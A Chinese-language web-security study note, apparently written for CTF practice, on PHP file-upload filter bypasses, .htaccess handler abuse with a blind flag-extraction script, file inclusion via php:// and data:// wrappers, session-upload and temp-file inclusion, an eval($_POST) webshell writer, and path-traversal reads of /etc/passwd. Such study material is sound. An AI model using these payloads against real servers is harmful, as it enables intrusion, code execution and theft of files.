您的位置: 首页> PHP源码> 03-WEB-文件操作

03-WEB-文件操作

时间:2025-09-09 11:15:02 来源:互联网

03-WEB-文件操作

文件上传

​ 利用上传的带有php代码文件并被后端php处理

黑名单后缀绕过

​ 使用php3 php4 php5以此类推、phtml并结合大小写

双写绕过

​ 如将黑名单替换为空 pphphp -> php

文件内容绕过

php tag
1.<?php phpinfo();?>
2.<? phpinfo();?>	<?='123';?>	<?=表示<?php echo
3.<script language='php'>phpinfo();</script>
4.<% phpinfo();%>

webshell

htaccess的使用

​ AddHandler php5-script .jpg 将.jpg文件按照php代码进行解析执行

​ AddType application/x-httpd-php .jpg 同上

​ Sethandler application/x-httpd-php 将该目录及子目录下的文件均按照 php文件解析执行

​ 盲注利用:

<If "file('/flag')=~/^f/">

ErrorDocument 404 "abc"

</If>
import requests
import string
import hashlib

ip = requests.get('ip.....').text
print(ip)

def check(a):
    f='''
    <If "file('/flag')=~/^'''+a+'''/">
    ErrorDocument 404 "abc"
    </If>
    '''
    resp=requests.post("url",data={'submit':'submit'},file={'file':('.htaccess',f)})
    a=requests.get('ip/upload/'+ip+"/a").text
    if "abc" not in a:
        return False
    else:
        return True
flag="flag{BN"
c=string.ascii_letters+string.digits+"{}"
for j in range(32):
    for i in c:
        print("chacking:"+flag+i)
        if check(flag+i):
            flag=flag+i
            print(flag)
            break
        else:
            continue

一般思路

首先上传正常图片,抓包,将内容修改为webshell,并将后缀名改为乱码

->若正常发送,则说明为黑名单过滤且对文件内容没有过滤,考虑修改后缀名

->若无法发送,则说明对文件内容进行了过滤或为白名单过滤

​ ->对于文件内容过滤,则考虑更换php tag、使用换行符、加入文件头

文件格式 十六进制文件头 ASCII可读形式 说明
JPEG FF D8 FF ÿØÿ 起始标志39
PNG 89 50 4E 47 0D 0A 1A 0A ‰PNG.... 固定8字节头69
GIF 47 49 46 38 39(37) 61 GIF89a/GIF87a 89a为动画格式39
BMP 42 4D BM Windows位图9
TIFF 49 49 2A 004D 4D 00 2A II* 或 MM* 小端/大端存储9

​ ->对于白名单过滤,考虑使用.htaccess,先上传.htaccess文件,然后上传正常 后缀名的webshell文件


文件包含与任意文件读取

文件包含

文件包含相关函数:include()、include_once()、require()、require_once()

php伪协议

file://	访问本地文件系统

http://	访问HTTP(s)网站

php://	访问各个输入/输出流	

phar://	PHP归档	

zip://	压缩流

php://input

​ 可以访问请求的原始数据只读流,读取没有处理过的POST内容

php://filter可以进行任意文件读取

?file=php://filter/read=convert.base64-encode/resource=index.php

php://filter协议,启动过滤器处理流程 
convert.base64-encode,将原始内容转换为base64编码格式

data协议

​ 可以将内容写入file变量中,赋值给file_get_contents读到的内容

data:[数据类型][;base64],<data>

​ 数据类型(如 text/plain, image/png

​ base64:可选标志,表示数据经过 Base64 编码

​ data:实际内容(需 URL 编码)

​ ?file=data://text/plain,

​ ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJpZCIpOz8%2b

#例题
<?php
    include "flag.php";
    $a = @$_REQUEST['hello'];
    eval("var_dump($a);");     
    show_source(__FILE__);
?>

?hello=);show_source('flag.php'
?hello=);print_r(file("flag.php")
?hello=);var_dump(file("flag.php")

?hello=);include(@$_POST['f']
f=php://filter/convert.base64-encode/resource=flag.php
                 
#var_dump()可以输出变量的类型和值
#eval()可以把字符串按照php代码执行

session文件包含

$SESSION为一个数组,保存着会话信息,session文件通常存储在/tmp或/var/lib/php/session目录下sess[PHPSESSID]

session上传进度,当一个上传在处理时,POST一个session.upload_progress.name(PHP_SESSION_UPLOAD_PROGRESS)同名变量时,上传进度就可以在$_SESSION中获得

同时上传POST请求和上传

<!doctype html>
<html>
<body>
<form action="目标地址" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>
</body>
</html>

之后添加Cookie并将PHPSESSID的值设置为任意值,不断发包即可

临时文件包含

短时间内包含临时文件(1.加快自己 2.减慢对方)

直到文件路径(如果有phpinfo页面,对phpinfo发起post文件上传就ok)

方法1 发生错误不再删临时文件

php7.0 file=php://filter/string.strip_tags/resource=/etc/passwd会造成一个segment fault

方法2 自包含

自己包含自己,死循环

<?  
file_put_contents('/tem/shell.php','<?php eval($_POST[0]);?>');
?>

任意文件读取

任意文件读取漏洞是指应用程序在读取文件内容时,攻击者能够通过构造特殊的路径参数,访问并读取服务器文件系统中本不该被访问的敏感文件

如:../../../../etc/passwd

双写绕过、URL编码绕过等

`

上一篇:文件包含_fileinclude 下一篇:工作5年没碰过分布式锁,是我太菜还是公司太稳?网友:太真实了!

相关文章

相关应用

最近更新